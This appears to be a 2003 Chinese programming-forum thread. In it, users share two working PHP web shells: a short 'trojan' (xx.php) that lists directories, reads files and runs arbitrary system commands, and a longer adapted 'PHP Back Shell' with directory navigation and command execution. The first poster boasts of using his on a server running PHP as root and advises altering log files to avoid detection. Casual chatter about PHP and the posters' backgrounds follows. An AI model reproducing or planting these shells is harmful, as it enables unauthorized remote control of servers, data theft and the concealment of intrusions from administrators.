我写的一个PHP的简单木马
重在实用,HoHo,某天发现某个LINUX服务器居然使用root权限执行PHP,真是让我心动不已,浏览器就是我的SHELL,因为有root权限,因此我就%¥##··*,当然不要忘了修改日志文件,HoHo,不然管理员会告你。xx.php如下(太简陋了,不免高手门笑话,hoho)
<?php
//获得指定文件的文本
function getfile($filename)
{
if (!$filename){
return false;
}
$fp = @fopen($filename,"r");
if (!$fp){
return false;
}
$fdata = @fread($fp,filesize($filename));
fclose($fp);
return $fdata;
}
$str="<form action ='xx.php' method=post ><tr>
<td width='27%'>
目录:<input type='text' name='dirs' size='50' value='<!--dirs-->'><br>
文件:<input type='text' name='files' size='50' value='<!--files-->'><br>
命令:<input type='text' name='cmd' size='50' value='<!--cmd-->'><br>
<input type='submit' name='btn',value='执行'>
</td>
</tr></form>";
$str = str_replace("<!--dirs-->",$dirs,$str);
$str = str_replace("<!--files-->",$files,$str);
$str = str_replace("<!--cmd-->",$cmd,$str);
echo $str;
if ($dirs)
{
//echo $str;
$handle=opendir($dirs);
echo "$dirs:<br>";
while ($file = readdir($handle)) {
echo "$file<br>";
}
closedir($handle);
}
if ($files){
echo "$files:<br>";
$strdata = getfile($files);
echo "<pre>$strdata</pre>";
}
if ($cmd){
echo "$cmd:<br>";
$strdata = system($cmd);
echo $strdata;
}
?>
[此贴子已经被作者于2003-8-6 9:16:26编辑过]
ACEE 的程序用来得到文件在好不过,工厂虽小,但是还用了摸板替换的思想,可贵!
但是在得到指定文件之前必须先看看服务器上都有些什么,想在服务器上执行命令,ACEE 的命令执行功能不够,这里我给大家这个专业的 shell。
/* GNU */
/* 您可以任意传播,不过请一定写出作者名字 */
/*
原作者: Martin Geisler
改写汉化: YZHLINUX
*/
<html>
<head>
<title>PHP Back Shell</title>
</head>
<body>
<?php
/* 首先检查 $work_dir 是否被设置了值,这是我们的工作目录 */
if (isset($work_dir)) {
/* 说明已经设置了 工作目录 ,那么我们就吧当前目录改变倒这个地方 */
chdir($work_dir);
$work_dir = exec("pwd"); // pwd 是 Unix 中显示当前目录的命令,这里我们执行它.得到当前目录
} else {
/* 如果没有设置 工作目录,那么我们就到 apache 的工作目录
注: $DOCUMENT_ROOT 是系统提供的*/
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>当前工作目录: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted == "") {
$work_dir = "/";/* 根目录. */
} else {
for ($i = 0; $i < count($work_dir_splitted); $i++) {
/*echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?></b></p>
<p>选择新的工作目录:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php
/* 现在我们对这个目录坐一个文件列表 */
$dir_handle = opendir($work_dir);
/* 来一个遍历找出所有的文件和目录 */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == ".") {
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
} elseif ($dir == "..") {
/* 我们找到了父目录,我们要注意里看看父目录是不是根目录 (/) */
if (strlen($work_dir) == 1) {
/* 长度只有 1 ---- 那么只能是 '/' 了 */
} elseif (strrpos($work_dir, "/") == 0) {
/* 发现第一个字符是 / 说明我到了顶层的目录了比如: /bin 或者 /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
} else {
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
}
} else {
if ($work_dir == "/") {
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
} else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);//不要忘记关闭
?>
</select>
<p>命令:</p>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?> > <input name="submit_btn" type="submit" value="Execute Command"></p>
<p>是否捕获错误信息? <input type="checkbox" name="stderr"></p>
<p>Output:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
/* 这个命令组能看懂吗?
短短的一句语句但是做的事情有: 执行命令,把输出的结果保存到 output.txt ,显示 output.txt ,然后删除它!*/
system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
}else {
system($command);
}
}
?>
</textarea>
</form>
</body>
</html>
[此贴子已经被作者于2003-8-6 15:48:22编辑过]
不错,不错。 能力有限,看不懂。。 晕晕了,第二篇就不看了,第一篇好像见到过了 我写的代码还算简洁,噢,HOHO。。。那里见过也不奇怪,需要的时候就自己写。抄一百行代码还不如自己写一行,PHP只能处理字符,处理网叶,干不成大事,说白了,PHP还不如UNIX的各种SHELL。 PHP 也是可以做Unix 的一个shell的。
语法就是php的语法,只要把编译好的cgi模式的解析程序执行,就是一个shell外壳了 是啊,我都有这个想法啊,php 的 VC 源代码我看了很久了,我觉得可以把它改动成我们所设想的东西,嵌入到我们的其他程序中去做控制脚本。HoHo,功能强大哦!
不过不知道版权会被我们侵犯到什么地步 :(
yzhlinuxASEE,你们都是工程的吗?计算机系吗?程序方面很强哦。
我是工程的,但不是计算机系的。 这你也看的出来?
我们既不是工程的也不是计算机系的 哦,这里的工程比较多啊,所以猜的,那你们什么学校的啊? 我们都工作了你看不出来吗? 呵呵,没看出来,都是哪儿的,搞程序的? 提供真人实姓,就不叫BBS了,那我注册了帐号还有什么意思? :) 又没让你说姓名,我想了解一下这里的高手有多少是学生啊 以下是引用ASEE在2003-8-12 23:12:00的发言:
是啊,我都有这个想法啊,php 的 VC 源代码我看了很久了,我觉得可以把它改动成我们所设想的东西,嵌入到我们的其他程序中去做控制脚本。HoHo,功能强大哦!
不过不知道版权会被我们侵犯到什么地步 :(
我有种发梦的感觉,是不是我眼花了,昨晚太累打字打错了,竟然写出这样的话来,我死也不信,如果有人攻击BBS,那就另当别论,或者帮主看不过去,那有另当别论。 哪里啊,那是我要回复你的,结果却按错了,点成了编辑 :(。
想恢复都不行了! 你说的是什么我现在都忘记了!郁闷! 看来这个BB让人郁闷,不过还算快。要不真象上CSDN一样,半天都进不去,干脆不去了,XML做的看来也不过如此,WEB SERVICE也不过如此,.NET也不过如此。 这里人不多啊,自然快,CSDN 是快的,主要人太多,同时再线的比这里多500倍以上,半夜2:00以后你试试,那时没人,狂快!
yzhlounx 你是工程的吧呵呵
页:
[1]
2